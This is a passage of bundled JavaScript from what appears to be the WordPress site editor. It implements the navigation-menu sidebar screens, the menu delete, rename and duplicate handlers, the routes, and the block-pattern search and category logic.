23276 SidebarNavigationScreenWrapper,
23277 {
23278 description: (0, import_i18n78.__)(
23279 "Navigation Menus are a curated collection of blocks that allow visitors to get around your site."
23280 ),
23281 backPath,
23282 children: /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(import_components88.Spinner, { className: "edit-site-sidebar-navigation-screen-navigation-menus__loading" })
23283 }
23284 );
23285 }
23286 if (!isLoading && !navigationMenu) {
23287 return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
23288 SidebarNavigationScreenWrapper,
23289 {
23290 description: (0, import_i18n78.__)("Navigation Menu missing."),
23291 backPath
23292 }
23293 );
23294 }
23295 if (!navigationMenu?.content?.raw) {
23296 return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
23297 SidebarNavigationScreenWrapper,
23298 {
23299 actions: /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
23300 ScreenNavigationMoreMenu,
23301 {
23302 menuId: navigationMenu?.id,
23303 menuTitle: (0, import_html_entities7.decodeEntities)(menuTitle),
23304 onDelete: _handleDelete,
23305 onSave: _handleSave,
23306 onDuplicate: _handleDuplicate
23307 }
23308 ),
23309 backPath,
23310 title: buildNavigationLabel(
23311 navigationMenu?.title,
23312 navigationMenu?.id,
23313 navigationMenu?.status
23314 ),
23315 description: (0, import_i18n78.__)("This Navigation Menu is empty.")
23316 }
23317 );
23318 }
23319 return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
23320 SingleNavigationMenu,
23321 {
23322 navigationMenu,
23323 backPath,
23324 handleDelete: _handleDelete,
23325 handleSave: _handleSave,
23326 handleDuplicate: _handleDuplicate
23327 }
23328 );
23329 }
23330
23331 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/use-navigation-menu-handlers.mjs
23332 var { useHistory: useHistory16 } = unlock(import_router24.privateApis);
23333 function useDeleteNavigationMenu() {
23334 const { deleteEntityRecord } = (0, import_data53.useDispatch)(import_core_data37.store);
23335 const { createSuccessNotice, createErrorNotice } = (0, import_data53.useDispatch)(import_notices4.store);
23336 const history = useHistory16();
23337 const handleDelete = async (navigationMenu) => {
23338 const postId = navigationMenu?.id;
23339 try {
23340 await deleteEntityRecord(
23341 "postType",
23342 postType,
23343 postId,
23344 {
23345 force: true
23346 },
23347 {
23348 throwOnError: true
23349 }
23350 );
23351 createSuccessNotice(
23352 (0, import_i18n79.__)("Navigation Menu successfully deleted."),
23353 {
23354 type: "snackbar"
23355 }
23356 );
23357 history.navigate("/navigation");
23358 } catch (error) {
23359 createErrorNotice(
23360 (0, import_i18n79.sprintf)(
23361 /* translators: %s: error message describing why the navigation menu could not be deleted. */
23362 (0, import_i18n79.__)(`Unable to delete Navigation Menu (%s).`),
23363 error?.message
23364 ),
23365 {
23366 type: "snackbar"
23367 }
23368 );
23369 }
23370 };
23371 return handleDelete;
23372 }
23373 function useSaveNavigationMenu() {
23374 const { getEditedEntityRecord } = (0, import_data53.useSelect)((select3) => {
23375 const { getEditedEntityRecord: getEditedEntityRecordSelector } = select3(import_core_data37.store);
23376 return {
23377 getEditedEntityRecord: getEditedEntityRecordSelector
23378 };
23379 }, []);
23380 const {
23381 editEntityRecord,
23382 __experimentalSaveSpecifiedEntityEdits: saveSpecifiedEntityEdits
23383 } = (0, import_data53.useDispatch)(import_core_data37.store);
23384 const { createSuccessNotice, createErrorNotice } = (0, import_data53.useDispatch)(import_notices4.store);
23385 const handleSave = async (navigationMenu, edits) => {
23386 if (!edits) {
23387 return;
23388 }
23389 const postId = navigationMenu?.id;
23390 const originalRecord = getEditedEntityRecord(
23391 "postType",
23392 NAVIGATION_POST_TYPE,
23393 postId
23394 );
23395 editEntityRecord("postType", postType, postId, edits);
23396 const recordPropertiesToSave = Object.keys(edits);
23397 try {
23398 await saveSpecifiedEntityEdits(
23399 "postType",
23400 postType,
23401 postId,
23402 recordPropertiesToSave,
23403 {
23404 throwOnError: true
23405 }
23406 );
23407 createSuccessNotice((0, import_i18n79.__)("Renamed Navigation Menu"), {
23408 type: "snackbar"
23409 });
23410 } catch (error) {
23411 editEntityRecord("postType", postType, postId, originalRecord);
23412 createErrorNotice(
23413 (0, import_i18n79.sprintf)(
23414 /* translators: %s: error message describing why the navigation menu could not be renamed. */
23415 (0, import_i18n79.__)(`Unable to rename Navigation Menu (%s).`),
23416 error?.message
23417 ),
23418 {
23419 type: "snackbar"
23420 }
23421 );
23422 }
23423 };
23424 return handleSave;
23425 }
23426 function useDuplicateNavigationMenu() {
23427 const history = useHistory16();
23428 const { saveEntityRecord } = (0, import_data53.useDispatch)(import_core_data37.store);
23429 const { createSuccessNotice, createErrorNotice } = (0, import_data53.useDispatch)(import_notices4.store);
23430 const handleDuplicate = async (navigationMenu) => {
23431 const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
23432 try {
23433 const savedRecord = await saveEntityRecord(
23434 "postType",
23435 postType,
23436 {
23437 title: (0, import_i18n79.sprintf)(
23438 /* translators: %s: Navigation menu title */
23439 (0, import_i18n79._x)("%s (Copy)", "navigation menu"),
23440 menuTitle
23441 ),
23442 content: navigationMenu?.content?.raw,
23443 status: "publish"
23444 },
23445 {
23446 throwOnError: true
23447 }
23448 );
23449 if (savedRecord) {
23450 createSuccessNotice((0, import_i18n79.__)("Duplicated Navigation Menu"), {
23451 type: "snackbar"
23452 });
23453 history.navigate(`/wp_navigation/${savedRecord.id}`);
23454 }
23455 } catch (error) {
23456 createErrorNotice(
23457 (0, import_i18n79.sprintf)(
23458 /* translators: %s: error message describing why the navigation menu could not be deleted. */
23459 (0, import_i18n79.__)(`Unable to duplicate Navigation Menu (%s).`),
23460 error?.message
23461 ),
23462 {
23463 type: "snackbar"
23464 }
23465 );
23466 }
23467 };
23468 return handleDuplicate;
23469 }
23470 function useNavigationMenuHandlers() {
23471 return {
23472 handleDelete: useDeleteNavigationMenu(),
23473 handleSave: useSaveNavigationMenu(),
23474 handleDuplicate: useDuplicateNavigationMenu()
23475 };
23476 }
23477
23478 // packages/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/index.mjs
23479 var import_jsx_runtime179 = __toESM(require_jsx_runtime(), 1);
23480 function buildMenuLabel(title, id, status) {
23481 if (!title) {
23482 return (0, import_i18n80.sprintf)((0, import_i18n80.__)("(no title %s)"), id);
23483 }
23484 if (status === "publish") {
23485 return (0, import_html_entities8.decodeEntities)(title);
23486 }
23487 return (0, import_i18n80.sprintf)(
23488 // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
23489 (0, import_i18n80._x)("%1$s (%2$s)", "menu label"),
23490 (0, import_html_entities8.decodeEntities)(title),
23491 status
23492 );
23493 }
23494 function SidebarNavigationScreenNavigationMenus({ backPath }) {
23495 const {
23496 records: navigationMenus,
23497 isResolving: isResolvingNavigationMenus,
23498 hasResolved: hasResolvedNavigationMenus
23499 } = (0, import_core_data38.useEntityRecords)(
23500 "postType",
23501 NAVIGATION_POST_TYPE,
23502 PRELOADED_NAVIGATION_MENUS_QUERY
23503 );
23504 const isLoading = isResolvingNavigationMenus && !hasResolvedNavigationMenus;
23505 const { getNavigationFallbackId } = unlock((0, import_data54.useSelect)(import_core_data38.store));
23506 const isCreatingNavigationFallback = (0, import_data54.useSelect)(
23507 (select3) => select3(import_core_data38.store).isResolving("getNavigationFallbackId"),
23508 []
23509 );
23510 const firstNavigationMenu = navigationMenus?.[0];
23511 if (!firstNavigationMenu && !isResolvingNavigationMenus && hasResolvedNavigationMenus && // Ensure a fallback navigation is created only once
23512 !isCreatingNavigationFallback) {
23513 getNavigationFallbackId();
23514 }
23515 const { handleSave, handleDelete, handleDuplicate } = useNavigationMenuHandlers();
23516 const hasNavigationMenus = !!navigationMenus?.length;
23517 if (isLoading) {
23518 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(SidebarNavigationScreenWrapper, { backPath, children: /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(import_components89.Spinner, { className: "edit-site-sidebar-navigation-screen-navigation-menus__loading" }) });
23519 }
23520 if (!isLoading && !hasNavigationMenus) {
23521 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(
23522 SidebarNavigationScreenWrapper,
23523 {
23524 description: (0, import_i18n80.__)("No Navigation Menus found."),
23525 backPath
23526 }
23527 );
23528 }
23529 if (navigationMenus?.length === 1) {
23530 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(
23531 SingleNavigationMenu,
23532 {
23533 navigationMenu: firstNavigationMenu,
23534 backPath,
23535 handleDelete: () => handleDelete(firstNavigationMenu),
23536 handleDuplicate: () => handleDuplicate(firstNavigationMenu),
23537 handleSave: (edits) => handleSave(firstNavigationMenu, edits)
23538 }
23539 );
23540 }
23541 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(SidebarNavigationScreenWrapper, { backPath, children: /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(import_components89.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-navigation-menus", children: navigationMenus?.map(({ id, title, status }, index) => /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(
23542 NavMenuItem,
23543 {
23544 postId: id,
23545 withChevron: true,
23546 icon: navigation_default,
23547 children: buildMenuLabel(title?.rendered, index + 1, status)
23548 },
23549 id
23550 )) }) });
23551 }
23552 function SidebarNavigationScreenWrapper({
23553 children,
23554 actions,
23555 title,
23556 description,
23557 backPath
23558 }) {
23559 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(
23560 SidebarNavigationScreen,
23561 {
23562 title: title || (0, import_i18n80.__)("Navigation"),
23563 actions,
23564 description: description || (0, import_i18n80.__)("Manage your Navigation Menus."),
23565 backPath,
23566 content: children
23567 }
23568 );
23569 }
23570 var NavMenuItem = ({ postId, ...props }) => {
23571 return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)(
23572 SidebarNavigationItem,
23573 {
23574 to: `/wp_navigation/${postId}`,
23575 ...props
23576 }
23577 );
23578 };
23579
23580 // packages/edit-site/build-module/components/site-editor-routes/navigation.mjs
23581 var import_jsx_runtime180 = __toESM(require_jsx_runtime(), 1);
23582 var { useLocation: useLocation22 } = unlock(import_router25.privateApis);
23583 function MobileNavigationView() {
23584 const { query = {} } = useLocation22();
23585 const { canvas = "view" } = query;
23586 return canvas === "edit" ? /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(SidebarNavigationScreenNavigationMenus, { backPath: "/" });
23587 }
23588 var navigationRoute = {
23589 name: "navigation",
23590 path: "/navigation",
23591 areas: {
23592 sidebar({ siteData }) {
23593 const isBlockTheme = siteData.currentTheme?.is_block_theme;
23594 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(SidebarNavigationScreenNavigationMenus, { backPath: "/" }) : /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(SidebarNavigationScreenUnsupported, {});
23595 },
23596 preview({ siteData }) {
23597 const isBlockTheme = siteData.currentTheme?.is_block_theme;
23598 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(EditSiteEditor, {}) : void 0;
23599 },
23600 mobile({ siteData }) {
23601 const isBlockTheme = siteData.currentTheme?.is_block_theme;
23602 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(MobileNavigationView, {}) : /* @__PURE__ */ (0, import_jsx_runtime180.jsx)(SidebarNavigationScreenUnsupported, {});
23603 }
23604 }
23605 };
23606
23607 // packages/edit-site/build-module/components/site-editor-routes/navigation-item.mjs
23608 var import_router26 = __toESM(require_router(), 1);
23609 var import_jsx_runtime181 = __toESM(require_jsx_runtime(), 1);
23610 var { useLocation: useLocation23 } = unlock(import_router26.privateApis);
23611 function MobileNavigationItemView() {
23612 const { query = {} } = useLocation23();
23613 const { canvas = "view" } = query;
23614 return canvas === "edit" ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(SidebarNavigationScreenNavigationMenu, { backPath: "/navigation" });
23615 }
23616 var navigationItemRoute = {
23617 name: "navigation-item",
23618 path: "/wp_navigation/:postId",
23619 areas: {
23620 sidebar({ siteData }) {
23621 const isBlockTheme = siteData.currentTheme?.is_block_theme;
23622 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(SidebarNavigationScreenNavigationMenu, { backPath: "/navigation" }) : /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(SidebarNavigationScreenUnsupported, {});
23623 },
23624 preview({ siteData }) {
23625 const isBlockTheme = siteData.currentTheme?.is_block_theme;
23626 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(SidebarNavigationScreenUnsupported, {});
23627 },
23628 mobile({ siteData }) {
23629 const isBlockTheme = siteData.currentTheme?.is_block_theme;
23630 return isBlockTheme ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(MobileNavigationItemView, {}) : /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(SidebarNavigationScreenUnsupported, {});
23631 }
23632 }
23633 };
23634
23635 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/index.mjs
23636 var import_components90 = __toESM(require_components(), 1);
23637 var import_editor27 = __toESM(require_editor(), 1);
23638 var import_i18n82 = __toESM(require_i18n(), 1);
23639 var import_router27 = __toESM(require_router(), 1);
23640
23641 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/category-item.mjs
23642 var import_jsx_runtime182 = __toESM(require_jsx_runtime(), 1);
23643 function CategoryItem({
23644 count,
23645 icon,
23646 id,
23647 isActive,
23648 label,
23649 type
23650 }) {
23651 if (!count) {
23652 return;
23653 }
23654 const queryArgs = [`postType=${type}`];
23655 if (id) {
23656 queryArgs.push(`categoryId=${id}`);
23657 }
23658 return /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
23659 SidebarNavigationItem,
23660 {
23661 icon,
23662 suffix: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)("span", { children: count }),
23663 "aria-current": isActive ? "true" : void 0,
23664 to: `/pattern?${queryArgs.join("&")}`,
23665 children: label
23666 }
23667 );
23668 }
23669
23670 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-pattern-categories.mjs
23671 var import_element67 = __toESM(require_element(), 1);
23672 var import_i18n81 = __toESM(require_i18n(), 1);
23673
23674 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-default-pattern-categories.mjs
23675 var import_core_data39 = __toESM(require_core_data(), 1);
23676 var import_data55 = __toESM(require_data(), 1);
23677 function useDefaultPatternCategories() {
23678 const blockPatternCategories = (0, import_data55.useSelect)((select3) => {
23679 const { getSettings: getSettings7 } = unlock(select3(store));
23680 const settings2 = getSettings7();
23681 return settings2.__experimentalAdditionalBlockPatternCategories ?? settings2.__experimentalBlockPatternCategories;
23682 });
23683 const restBlockPatternCategories = (0, import_data55.useSelect)(
23684 (select3) => select3(import_core_data39.store).getBlockPatternCategories()
23685 );
23686 return [
23687 ...blockPatternCategories || [],
23688 ...restBlockPatternCategories || []
23689 ];
23690 }
23691
23692 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-theme-patterns.mjs
23693 var import_core_data40 = __toESM(require_core_data(), 1);
23694 var import_data56 = __toESM(require_data(), 1);
23695 var import_element65 = __toESM(require_element(), 1);
23696
23697 // packages/edit-site/build-module/components/page-patterns/utils.mjs
23698 var filterOutDuplicatesByName = (currentItem, index, items) => index === items.findIndex((item) => currentItem.name === item.name);
23699
23700 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-theme-patterns.mjs
23701 function useThemePatterns() {
23702 const blockPatterns = (0, import_data56.useSelect)((select3) => {
23703 const { getSettings: getSettings7 } = unlock(select3(store));
23704 return getSettings7().__experimentalAdditionalBlockPatterns ?? getSettings7().__experimentalBlockPatterns;
23705 });
23706 const restBlockPatterns = (0, import_data56.useSelect)(
23707 (select3) => select3(import_core_data40.store).getBlockPatterns()
23708 );
23709 const patterns = (0, import_element65.useMemo)(
23710 () => [...blockPatterns || [], ...restBlockPatterns || []].filter(
23711 (pattern) => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)
23712 ).filter(filterOutDuplicatesByName).filter((pattern) => pattern.inserter !== false),
23713 [blockPatterns, restBlockPatterns]
23714 );
23715 return patterns;
23716 }
23717
23718 // packages/edit-site/build-module/components/page-patterns/use-patterns.mjs
23719 var import_blocks11 = __toESM(require_blocks(), 1);
23720 var import_data57 = __toESM(require_data(), 1);
23721 var import_core_data41 = __toESM(require_core_data(), 1);
23722 var import_element66 = __toESM(require_element(), 1);
23723
23724 // packages/edit-site/build-module/components/page-patterns/search-items.mjs
23725 var import_block_editor22 = __toESM(require_block_editor(), 1);
23726 var { extractWords, getNormalizedSearchTerms, normalizeString } = unlock(
23727 import_block_editor22.privateApis
23728 );
23729 var defaultGetName = (item) => {
23730 if (item.type === PATTERN_TYPES.user) {
23731 return item.slug;
23732 }
23733 if (item.type === TEMPLATE_PART_POST_TYPE) {
23734 return "";
23735 }
23736 return item.name || "";
23737 };
23738 var defaultGetTitle = (item) => {
23739 if (typeof item.title === "string") {
23740 return item.title;
23741 }
23742 if (item.title && item.title.rendered) {
23743 return item.title.rendered;
23744 }
23745 if (item.title && item.title.raw) {
23746 return item.title.raw;
23747 }
23748 return "";
23749 };
23750 var defaultGetDescription = (item) => {
23751 if (item.type === PATTERN_TYPES.user) {
23752 return item.excerpt.raw;
23753 }
23754 return item.description || "";
23755 };
23756 var defaultGetKeywords = (item) => item.keywords || [];
23757 var defaultHasCategory = () => false;
23758 var removeMatchingTerms = (unmatchedTerms, unprocessedTerms) => {
23759 return unmatchedTerms.filter(
23760 (term) => !getNormalizedSearchTerms(unprocessedTerms).some(
23761 (unprocessedTerm) => unprocessedTerm.includes(term)
23762 )
23763 );
23764 };
23765 var searchItems = (items = [], searchInput = "", config2 = {}) => {
23766 const normalizedSearchTerms = getNormalizedSearchTerms(searchInput);
23767 const onlyFilterByCategory = config2.categoryId !== PATTERN_DEFAULT_CATEGORY && !normalizedSearchTerms.length;
23768 const searchRankConfig = { ...config2, onlyFilterByCategory };
23769 const threshold = onlyFilterByCategory ? 0 : 1;
23770 const rankedItems = items.map((item) => {
23771 return [
23772 item,
23773 getItemSearchRank(item, searchInput, searchRankConfig)
23774 ];
23775 }).filter(([, rank]) => rank > threshold);
23776 if (normalizedSearchTerms.length === 0) {
23777 return rankedItems.map(([item]) => item);
23778 }
23779 rankedItems.sort(([, rank1], [, rank2]) => rank2 - rank1);
23780 return rankedItems.map(([item]) => item);
23781 };
23782 function getItemSearchRank(item, searchTerm, config2) {
23783 const {
23784 categoryId,
23785 getName = defaultGetName,
23786 getTitle = defaultGetTitle,
23787 getDescription = defaultGetDescription,
23788 getKeywords = defaultGetKeywords,
23789 hasCategory = defaultHasCategory,
23790 onlyFilterByCategory
23791 } = config2;
23792 let rank = categoryId === PATTERN_DEFAULT_CATEGORY || categoryId === TEMPLATE_PART_ALL_AREAS_CATEGORY || categoryId === PATTERN_USER_CATEGORY && item.type === PATTERN_TYPES.user || hasCategory(item, categoryId) ? 1 : 0;
23793 if (!rank || onlyFilterByCategory) {
23794 return rank;
23795 }
23796 const name2 = getName(item);
23797 const title = getTitle(item);
23798 const description = getDescription(item);
23799 const keywords = getKeywords(item);
23800 const normalizedSearchInput = normalizeString(searchTerm);
23801 const normalizedTitle = normalizeString(title);
23802 if (normalizedSearchInput === normalizedTitle) {
23803 rank += 30;
23804 } else if (normalizedTitle.startsWith(normalizedSearchInput)) {
23805 rank += 20;
23806 } else {
23807 const terms = [name2, title, description, ...keywords].join(" ");
23808 const normalizedSearchTerms = extractWords(normalizedSearchInput);
23809 const unmatchedTerms = removeMatchingTerms(
23810 normalizedSearchTerms,
23811 terms
23812 );
23813 if (unmatchedTerms.length === 0) {
23814 rank += 10;
23815 }
23816 }
23817 return rank;
23818 }
23819
23820 // packages/edit-site/build-module/components/page-patterns/use-patterns.mjs
23821 var EMPTY_PATTERN_LIST = [];
23822 var selectTemplateParts = (0, import_data57.createSelector)(
23823 (select3, categoryId, search = "") => {
23824 const {
23825 getEntityRecords,
23826 getCurrentTheme,
23827 isResolving: isResolvingSelector
23828 } = select3(import_core_data41.store);
23829 const query = { per_page: -1 };
23830 const templateParts = getEntityRecords("postType", TEMPLATE_PART_POST_TYPE, query) ?? EMPTY_PATTERN_LIST;
23831 const knownAreas = getCurrentTheme()?.default_template_part_areas || [];
23832 const templatePartAreas = knownAreas.map((area) => area.area);
23833 const templatePartHasCategory = (item, category) => {
23834 if (category !== TEMPLATE_PART_AREA_DEFAULT_CATEGORY) {
23835 return item.area === category;
23836 }
23837 return item.area === category || !templatePartAreas.includes(item.area);
23838 };
23839 const isResolving = isResolvingSelector("getEntityRecords", [
23840 "postType",
23841 TEMPLATE_PART_POST_TYPE,
23842 query
23843 ]);
23844 const patterns = searchItems(templateParts, search, {
23845 categoryId,
23846 hasCategory: templatePartHasCategory
23847 });
23848 return { patterns, isResolving };
23849 },
23850 (select3) => [
23851 select3(import_core_data41.store).getEntityRecords(
23852 "postType",
23853 TEMPLATE_PART_POST_TYPE,
23854 {
23855 per_page: -1
23856 }
23857 ),
23858 select3(import_core_data41.store).isResolving("getEntityRecords", [
23859 "postType",
23860 TEMPLATE_PART_POST_TYPE,
23861 { per_page: -1 }
23862 ]),
23863 select3(import_core_data41.store).getCurrentTheme()?.default_template_part_areas
23864 ]
23865 );
23866 var selectThemePatterns = (0, import_data57.createSelector)(
23867 (select3) => {
23868 const { getSettings: getSettings7 } = unlock(select3(store));
23869 const { isResolving: isResolvingSelector } = select3(import_core_data41.store);
23870 const settings2 = getSettings7();
23871 const blockPatterns = settings2.__experimentalAdditionalBlockPatterns ?? settings2.__experimentalBlockPatterns;
23872 const restBlockPatterns = select3(import_core_data41.store).getBlockPatterns();
23873 const patterns = [
23874 ...blockPatterns || [],
23875 ...restBlockPatterns || []
23876 ].filter(
23877 (pattern) => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)
23878 ).filter(filterOutDuplicatesByName).filter((pattern) => pattern.inserter !== false).map((pattern) => ({
23879 ...pattern,
23880 keywords: pattern.keywords || [],
23881 type: PATTERN_TYPES.theme,
23882 blocks: (0, import_blocks11.parse)(pattern.content, {
23883 __unstableSkipMigrationLogs: true
23884 })
23885 }));
23886 return {
23887 patterns,
23888 isResolving: isResolvingSelector("getBlockPatterns")
23889 };
23890 },
23891 (select3) => [
23892 select3(import_core_data41.store).getBlockPatterns(),
23893 select3(import_core_data41.store).isResolving("getBlockPatterns"),
23894 unlock(select3(store)).getSettings()
23895 ]
23896 );
23897 var selectPatterns = (0, import_data57.createSelector)(
23898 (select3, categoryId, syncStatus, search = "") => {
23899 const {
23900 patterns: themePatterns,
23901 isResolving: isResolvingThemePatterns
23902 } = selectThemePatterns(select3);
23903 const {
23904 patterns: userPatterns,
23905 isResolving: isResolvingUserPatterns,
23906 categories: userPatternCategories
23907 } = selectUserPatterns(select3);
23908 let patterns = [
23909 ...themePatterns || [],
23910 ...userPatterns || []
23911 ];
23912 if (syncStatus) {
23913 patterns = patterns.filter((pattern) => {
23914 return pattern.type === PATTERN_TYPES.user ? (pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full) === syncStatus : syncStatus === PATTERN_SYNC_TYPES.unsynced;
23915 });
23916 }
23917 if (categoryId) {
23918 patterns = searchItems(patterns, search, {
23919 categoryId,
23920 hasCategory: (item, currentCategory) => {
23921 if (item.type === PATTERN_TYPES.user) {
23922 return item.wp_pattern_category?.some(
23923 (catId) => userPatternCategories.find(
23924 (cat) => cat.id === catId
23925 )?.slug === currentCategory
23926 );
23927 }
23928 return item.categories?.includes(currentCategory);
23929 }
23930 });
23931 } else {
23932 patterns = searchItems(patterns, search, {
23933 hasCategory: (item) => {
23934 if (item.type === PATTERN_TYPES.user) {
23935 return userPatternCategories?.length && (!item.wp_pattern_category?.length || !item.wp_pattern_category?.some(
23936 (catId) => userPatternCategories.find(
23937 (cat) => cat.id === catId
23938 )
23939 ));
23940 }
23941 return !item.hasOwnProperty("categories");
23942 }
23943 });
23944 }
23945 return {
23946 patterns,
23947 isResolving: isResolvingThemePatterns || isResolvingUserPatterns
23948 };
23949 },
23950 (select3) => [
23951 selectThemePatterns(select3),
23952 selectUserPatterns(select3)
23953 ]
23954 );
23955 var selectUserPatterns = (0, import_data57.createSelector)(
23956 (select3, syncStatus, search = "") => {
23957 const {
23958 getEntityRecords,
23959 isResolving: isResolvingSelector,
23960 getUserPatternCategories
23961 } = select3(import_core_data41.store);
23962 const query = { per_page: -1 };
23963 const patternPosts = getEntityRecords(
23964 "postType",
23965 PATTERN_TYPES.user,
23966 query
23967 );
23968 const userPatternCategories = getUserPatternCategories();
23969 const categories = /* @__PURE__ */ new Map();
23970 userPatternCategories.forEach(
23971 (userCategory) => categories.set(userCategory.id, userCategory)
23972 );
23973 let patterns = patternPosts ?? EMPTY_PATTERN_LIST;
23974 const isResolving = isResolvingSelector("getEntityRecords", [
23975 "postType",
23976 PATTERN_TYPES.user,
23977 query
23978 ]);
23979 if (syncStatus) {
23980 patterns = patterns.filter(
23981 (pattern) => pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full === syncStatus
23982 );
23983 }
23984 patterns = searchItems(patterns, search, {
23985 // We exit user pattern retrieval early if we aren't in the
23986 // catch-all category for user created patterns, so it has
23987 // to be in the category.
23988 hasCategory: () => true
23989 });
23990 return {
23991 patterns,
23992 isResolving,
23993 categories: userPatternCategories
23994 };
23995 },
23996 (select3) => [
23997 select3(import_core_data41.store).getEntityRecords("postType", PATTERN_TYPES.user, {
23998 per_page: -1
23999 }),
24000 select3(import_core_data41.store).isResolving("getEntityRecords", [
24001 "postType",
24002 PATTERN_TYPES.user,
24003 { per_page: -1 }
24004 ]),
24005 select3(import_core_data41.store).getUserPatternCategories()
24006 ]
24007 );
24008 function useAugmentPatternsWithPermissions(patterns) {
24009 const idsAndTypes = (0, import_element66.useMemo)(
24010 () => patterns?.filter((record) => record.type !== PATTERN_TYPES.theme).map((record) => [record.type, record.id]) ?? [],
24011 [patterns]
24012 );
24013 const permissions = (0, import_data57.useSelect)(
24014 (select3) => {
24015 const { getEntityRecordPermissions } = unlock(
24016 select3(import_core_data41.store)
24017 );
24018 return idsAndTypes.reduce((acc, [type, id]) => {
24019 acc[id] = getEntityRecordPermissions("postType", type, id);
24020 return acc;
24021 }, {});
24022 },
24023 [idsAndTypes]
24024 );
24025 return (0, import_element66.useMemo)(
24026 () => patterns?.map((record) => ({
24027 ...record,
24028 permissions: permissions?.[record.id] ?? {}
24029 })) ?? [],
24030 [patterns, permissions]
24031 );
24032 }
24033 var usePatterns = (postType2, categoryId, { search = "", syncStatus } = {}) => {
24034 return (0, import_data57.useSelect)(
24035 (select3) => {
24036 if (postType2 === TEMPLATE_PART_POST_TYPE) {
24037 return selectTemplateParts(select3, categoryId, search);
24038 } else if (postType2 === PATTERN_TYPES.user && !!categoryId) {
24039 const appliedCategory = categoryId === "uncategorized" ? "" : categoryId;
24040 return selectPatterns(
24041 select3,
24042 appliedCategory,
24043 syncStatus,
24044 search
24045 );
24046 } else if (postType2 === PATTERN_TYPES.user) {
24047 return selectUserPatterns(select3, syncStatus, search);
24048 }
24049 return {
24050 patterns: EMPTY_PATTERN_LIST,
24051 isResolving: false
24052 };
24053 },
24054 [categoryId, postType2, search, syncStatus]
24055 );
24056 };
24057 var use_patterns_default = usePatterns;
24058
24059 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-pattern-categories.mjs
24060 function usePatternCategories() {
24061 const defaultCategories = useDefaultPatternCategories();
24062 defaultCategories.push({
24063 name: TEMPLATE_PART_AREA_DEFAULT_CATEGORY,
24064 label: (0, import_i18n81.__)("Uncategorized")
24065 });
24066 const themePatterns = useThemePatterns();
24067 const { patterns: userPatterns, categories: userPatternCategories } = use_patterns_default(PATTERN_TYPES.user);
24068 const patternCategories = (0, import_element67.useMemo)(() => {
24069 const categoryMap = {};
24070 const categoriesWithCounts = [];
24071 defaultCategories.forEach((category) => {
24072 if (!categoryMap[category.name]) {
24073 categoryMap[category.name] = { ...category, count: 0 };
24074 }
24075 });
24076 userPatternCategories.forEach((category) => {
24077 if (!categoryMap[category.name]) {
24078 categoryMap[category.name] = { ...category, count: 0 };
24079 }
24080 });
24081 themePatterns.forEach((pattern) => {
24082 pattern.categories?.forEach((category) => {
24083 if (categoryMap[category]) {
24084 categoryMap[category].count += 1;
24085 }
24086 });
24087 if (!pattern.categories?.length) {
24088 categoryMap.uncategorized.count += 1;
24089 }
24090 });
24091 userPatterns.forEach((pattern) => {
24092 pattern.wp_pattern_category?.forEach((catId) => {
24093 const category = userPatternCategories.find(
24094 (cat) => cat.id === catId
24095 )?.name;
24096 if (categoryMap[category]) {
24097 categoryMap[category].count += 1;
24098 }
24099 });
24100 if (!pattern.wp_pattern_category?.length || !pattern.wp_pattern_category?.some(
24101 (catId) => userPatternCategories.find((cat) => cat.id === catId)
24102 )) {
24103 categoryMap.uncategorized.count += 1;
24104 }
24105 });
24106 [...defaultCategories, ...userPatternCategories].forEach(
24107 (category) => {
24108 if (categoryMap[category.name].count && !categoriesWithCounts.find(
24109 (cat) => cat.name === category.name
24110 )) {
24111 categoriesWithCounts.push(categoryMap[category.name]);
24112 }
24113 }
24114 );
24115 const sortedCategories = categoriesWithCounts.sort(
24116 (a2, b2) => a2.label.localeCompare(b2.label)
24117 );
24118 sortedCategories.unshift({
24119 name: PATTERN_USER_CATEGORY,
24120 label: (0, import_i18n81.__)("My patterns"),
